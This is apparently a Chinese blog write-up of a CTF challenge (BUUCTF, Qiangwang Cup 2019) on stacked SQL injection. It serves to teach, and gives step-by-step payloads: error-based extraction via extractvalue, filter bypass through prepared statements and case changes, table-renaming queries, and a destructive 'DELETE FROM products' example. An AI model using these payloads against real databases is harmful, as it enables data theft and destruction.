buuctf [强网杯 2019]随便注

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

打开题目
在这里插入图片描述
很有可能是sql注入,测试有无注入

1'   报错
1'#  正常且为True
1' and 1=1#  正常且为True
1' and 1=2#  正常且为False

可以得知存在注入,并且参数使用单引号闭合。

1.尝试获取列数

1' order by 1#
1' order by 2#
1' order by 3#  报错

说明有2列

2.尝试获取数据库名,用户等数据库信息

-1' union se/**/lect null, user()#

在这里插入图片描述
返回结果:return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。
于是可以尝试一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue

xpath语法错误

利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5

用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'

数据库
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'

版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

这里报错注入只能查询到这些信息了,因为过滤了select

3.利用堆叠注入绕过过滤

接下来直接尝试堆叠注入
-1’;show tables#
在这里插入图片描述
堆叠注入可以查一下表的字段

#desc查看表的结构
-1';desc `1919810931114514`#
-1';desc `words`#
#也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#

在这里插入图片描述

4.最后查询flag字段数据

由上面得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来要读取此flag字段内的数据,所以要执行的sql语句是:

select * from `1919810931114514`;

这里需要绕过select的限制,我们可以使用预编译的方式。

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

stmt操作

stmt对于多次执行的语句比直接执行快,主要原因在于,仅对查询执行一次解析操作。在直接执行的情况下,每次执行语句时,均将进行查询。此外,由于每次执行预处理语句时仅需发送参数的数据,从而减少了网络通信量

payload:

-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1’;
set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);
prepare stmt from @sql;
EXECUTE stmt;#

在这里插入图片描述
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,改成大写绕过就行。

-1’;Set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1’;
Set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);
Prepare stmt from @sql;
EXECUTE stmt;#
在这里插入图片描述
绕过select还有第二个方法,更改表名列名。

由上面的测试我们可以猜测出这里会查询出words表的data列的结果。也就是下面的sql语句:

select * from words where id = ‘’;

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload:
1’; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1’;
alter table words rename to words1;
alter table 1919810931114514 rename to words;
alter table words change flag id varchar(50);#
在这里插入图片描述
然后最后堆叠注入造成的原因是使用multi_query()执行一条或多条sql语句,然后将结果全部输出。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值